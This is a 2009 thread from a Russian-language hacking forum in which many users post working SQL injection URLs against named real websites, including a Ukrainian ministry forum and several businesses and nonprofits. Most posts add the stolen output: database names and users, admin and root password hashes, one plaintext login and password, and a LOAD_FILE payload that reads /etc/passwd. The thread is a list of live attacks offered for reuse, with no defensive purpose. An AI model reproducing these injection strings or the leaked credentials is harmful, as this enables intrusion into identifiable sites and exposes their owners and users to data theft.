SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. z00MAN

    z00MAN Banned

    Joined:
    20 Nov 2008
    Messages:
    360
    Likes Received:
    276
    Reputations:
    41
    ДЕЛОВЫЕ ЖЕНЩИНЫ РОССИИ
    Code:
    http://www.dgr.ru/?id=-15+union+select+1111,concat(version(),0x3a,database(),0x3a,user())--
    вывод в ошибке:

    Warning: file_get_contents(4.0.27-max-log:dgr122_main:[email protected]): failed to open stream: No such file or directory in /mnt/pub/home/dgr122/html/main.php on line 70

    PR=5

    «Современная АЗС» – ежемесячный журнал
    Code:
    http://www.sovazs.com/showcontest.phtml?id=-15+union+select+1,2,3,4,concat(version(),0x3a,user(),0x3a,database()),6,7,8,9,10,11,12,13,14,15--
    user(): [email protected]
    database(): sovazs
    version(): 5.0.75-log

    PR=5

    InfoSecur.ru
    Code:
    http://www.ftp.infosecur.ru/katalog.php?id=-15+union+select+1,unhex(hex(version())),3--
    user(): [email protected]
    database(): infosec
    version(): 4.1.18

    ТИЦ:70
     
    1 person likes this.
  2. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    PageRank = 7

    Database Version: 5.0.45-log
    Database name: pqcstud_ctot
    User name: [email protected]


    PageRank = 6

    Database Version: 5.0.67-log
    Database name: mto
    User name: [email protected]



    Version:4.1.22-standard
    User:pe@localhost
    Database:bulgaria_pe
     
    1 person likes this.
  3. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    lhttp://www.mon.gov.ua
    Code:
    http://www.mon.gov.ua/forum/new.php?f=0&r=-76773+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--
    database: 5.0.27
    name_database: mon_forum

    login - su
    pass - Fktrctq
     
    1 person likes this.
  4. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://www.moy-doktor.ru/katalog.php?id=36+union+select+1,2,3,4,5,6/*

    Database Version: 5.0.22-log
    Database name: moydoktor_db
    User name: moydoktor_user@localhost
     
  5. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    PageRank = 5

    Version: 4.0.27-max-log
    User: [email protected]
    Database: db274567297
     
  6. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Code:
    http://www.dia-m.ru/news.php?newsid=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12--
    Database Version : 4.0.27-log
    Database name : host2846
    User name : host2846@localhost
     
  7. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    PageRank = 6


    Database Version: 5.0.60-enterprise-gpl-log
    Database name: naccrra_website
    User name: root@localhost


    root : 58012894248545c5

    Читаем etc/passwd



    Database Version: 5.0.67-log
    Database name: legion
    User name: [email protected]



    root : *9E4CAEBB7D7123930422B9652E4BEC5437A11DCA


    Читаем etc/passwd


    PageRank - 6

    Version: 4.0.24
    User: pleksus@localhost
    Database: JOURNAL_di
     
    #8307 spherics, 15 Mar 2009
    Last edited: 15 Mar 2009
  8. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    http://constant.com.kg/news?id=-1+union+select+1,2,3,version(),5--

    http://www.mielie.co.za/index.php?page=news&id=6+union+select+1,2,concat_ws(0x3a,username,password),4+from+tbluser

    http://www.hlcargo.com/v3/index.php?m=news&id=-1+union+select+1,2,3,unhex(hex(version())),5,6,7,8--

    http://www.home-exposure-marbella.com/index.php?action=local-news&id=-1+union+select+1,concat_ws(0x3a,password),3,4+from+admin--

    http://www.ssmp72.ru/index.php?go=news&id=-1+union+select+1,version(),3,4--

    http://www.exsolcom.kz/index.php?news&id=-1+union+select+1,concat_ws(0x3a,login,pass),3,4,5+from+admin--

    http://bigirk.ru/?module=news&id=-1+union+select+1,2,concat_ws(0x3a,password),4+from+users--

    http://umi.com.ua/?do=news&id=-1+union+select+1,concat_ws(0x3a,database(),version(),user())--

    http://www.mstar.lv/index.php?lang=ru&page=news&id=-1+union+select+version(),2,3,4,5--

    http://www.regina.ru/main?page=news&id=-1+union+select+1,2,3,version(),5,6,7--

    http://www.cbgaindia.org/press_releases.php?id=-1+union+select+1,2,3,4,version(),6,7--

    http://www.animalfarmfoundation.org/section.php?id=-1+union+select+1,2,3,4,5--

    http://rp.ksu.ru/izd.php?id=-1+union+select+version(),2,3--

    http://www.zolushka-spb.ru/?module=news&id=-1+union+select+1,2,versioN(),4,5--

    http://mgauto.ru/main.php?page=news&id=-1+union+select+1,2,table_name,4,5,6,7+from+information_schema.tables+limit+21--

    http://www.greenmax.ru/index.php?action=news&id=-1+union+select+1,2,version(),4,5,6,7,8,9--
     
    #8308 .:[melkiy]:., 15 Mar 2009
    Last edited by a moderator: 15 Mar 2009
    1 person likes this.
  9. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.click-uri.ro/vot/index.php?id=-4661+UNION+SELECT+1,2,3,CONCAT_WS(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--

    Database Version: 5.0.67-community
    Database name: clickuri_director
    User name: clickuri_clickur@localhost
     
    1 person likes this.
  10. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    http://www.franchiseupdatemedia.com/index.php?page=news&id=-1+union+select+1,2,3,user(),5,6,7,8--

    http://www.tractor-m.ru/index.php?page=news&ID=-1+union+select+1,concat_ws(0x3a,username,password),3,4,5,6+from+users--

    http://constant.com.kg/articles/news?id=-1+union+select+1,concat_ws(0x3a,admLogin,admPassword),3,4,5,6+from+admins--

    http://siladuha.org/news?id=-1+union+select+1,2,3,version()--

    http://www.jeansshow.ru/rus/index/news?id=-1+union+select+1,2,3,version(),5,6--

    http://toolpress.com.ua/news?id=-1+union+select+1,2,3,4,version()--

    http://www.shockmedia.com.au/corporate/news?id=-1+union+select+1,2,version(),4,5--

    http://www.ukbushido.com/news?id=-1+union+select+1,concat_ws(0x3,username,password),3,4,5+from+admin--

    http://gogolcasino.com.ua/news?id=-1+union+select+1,2,version(),4,5--

    http://www.nika-ins.ru/news?id=-1+union+select+1,2,version(),4,5,6,7--

    http://mariya-art.com.ua/?menu=news&id=-1+union+select+1,2,version(),4,5,6,7--

    http://vcapital.kz/index.php?page=news&id=-1+union+select+1,2,concat_ws(0x3a,login,password),4,5+from+users--
     
    #8310 .:[melkiy]:., 15 Mar 2009
    Last edited by a moderator: 16 Mar 2009
  11. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    http://www.wuestenwandern.de/index.php?seite=news&id=-1+union+select+1,2,unhex(hex(concat_ws(0x3a,version()))),4,5--

    Database Version: 4.1.13
    Database name: ww_reisen_2
    User name: ww_db_user@localhost
     
    1 person likes this.
  12. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://www.sourcecable.ca/page.php?PageID=46/**/UNION/**/SELECT/**/1,2,3,concat(id,0x3a,username,0x3a,password),5,6,7,8+from+admin/**//*

    6:darryl:d7ed541b53f6f1e7b6f8f361fc638169
    4:mbontje:4006353cf694274add3bbfd7045cf7cc 10:sandip:2f3d0072cce8890089c1332c21875ffb 12:domenic:e0fb06ae47197c44d433b77ec020d116
     
    1 person likes this.
  13. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.prodevelop.ro/index.php?action=description&pid=-13+UNION+SELECT+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12--


    Database Version: 5.0.67-log
    Database name: prodevelop
    User name: [email protected]
     
    1 person likes this.
  14. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    http://www.nacrasailing.org/index.php?cat=news&id=-1+union+select+1,2,3,4,unhex(hex(concat_ws(0x3a,password))),6,7,8,9+from+user--

    Database Version: 5.0.45
    Database name: nacrasab_2
    User name: nacrasab@localhost
     
  15. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Pagerank: 4
    тИЦ: 650


    Code:
    http://www.truck.ru/news.php3?g=1&art=-1+union+select+1,2,concat_ws(0x3a,version(),datab ase(),user()),4,5,6,7,8,9,10,11,12,13--
    Database Version : 5.0.51b-community-nt-log
    Database name : truck
    User name : truck@localhost


    --------------------------------------------------+

    Pagerank: 4
    тИЦ: 600


    Code:
    http://www.gumis.ru/news.php?id=-1+union+select+1,concat_ws(0x3 a,version(),database(),user()),3,4,5,6,7,8--
    Database Version : 4.1.22-log
    Database name : gumis
    User name : [email protected]
     
    2 people like this.
  16. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    http://www.haagsesporttuin.nl/index.php?type=zoom&class=news&id=-1+union+select+1,2,3,4,5,6--

    Database Version: 4.1.15-Debian_0.dotdeb.4-log
    Database haagsesp
    User name: haagsesp@localhost


    -----------------------------------------------------------------------------------

    http://www.newah.org.np/detailUpdates.php?ID=-22+union+select+1,2,3,4,5,6,7--

    Database Version: 4.1.22-standard
    Database: newahor_newahdb
    User name: newahor_newah@localhost


    ------------------------------------------------------------------------------------

    http://www.cpn.com.np/news.php?id=-5+union+select+1,2,column_name,4+from+information_schema.columns+where+table_name=0x74626c5f61646d696e--

    Database Version: 5.0.67-community
    Database: cpncom_news
    User name: cpncom_cpn@localhost
     
    #8316 .:[melkiy]:., 16 Mar 2009
    Last edited: 16 Mar 2009
  17. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://www.tbaysafecommunities.ca/~safecom/page.php?id=45/**/UNION/**/SELECT/**/1,2,3,concat(user,0x3a,password)+from+mysql.user+limit+1,1/*

    Database Version: 4.0.24_Debian-10sarge3-log
    Database name: content
    User name: contentman@cedar


    root:3819a76b5dc90171:art4gama
     
  18. hackmen

    hackmen Banned

    Joined:
    22 Oct 2007
    Messages:
    110
    Likes Received:
    46
    Reputations:
    1
    PR5

    http://www.scmmicro.com/security/view_product_en.php?PID=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,version(),14,15,16,17,18,19,20,21,22--

    5.0.26 : usr_web1_1 : web1@localhost

    Достаем логин и пасс рута )
    http://www.scmmicro.com/security/view_product_en.php?PID=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,concat_ws(0x3a,user,Password),14,15,16,17,18,19,20,21,22+from+mysql.user--

    admin:*F2D16E6DF079EDD64F913E55EDEEB021A3B47BBD
     
    #8318 hackmen, 16 Mar 2009
    Last edited: 16 Mar 2009
    2 people like this.
  19. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    коневоз pr-4 ТиЦ - 600
    PHP:
    http://www.konevoz.ru/index.php?id=752&subid=27&modid=27212+union+select+1,2,3,4,5,6,7,concat_ws(0x3A,user(),version(),database())--+
    konevoz_konevoz@localhost:5.0.67-community:konevoz_konevoz
     
    1 person likes this.
  20. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://www.bellagreetings.com/category.php?ID=114&CID=3%27/**/UNION/**/SELECT/**/1,password,3+from+mysql.user/*

    пасс слева возле меню

    Database Version: 4.1.20
    Database name: superlaugh
    User name: root@localhost

    тама и load_file
    http://www.bellagreetings.com/category.php?ID=114&CID=3'/**/UNION/**/SELECT/**/1,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,HEX(LOAD_FILE(0x2F6574632F7061737377642F)),0x7873716C696E6A656E64),0x71),0x71),3/*
     
    #8320 Rubaka, 16 Mar 2009
    Last edited: 16 Mar 2009
Thread Status:
Not open for further replies.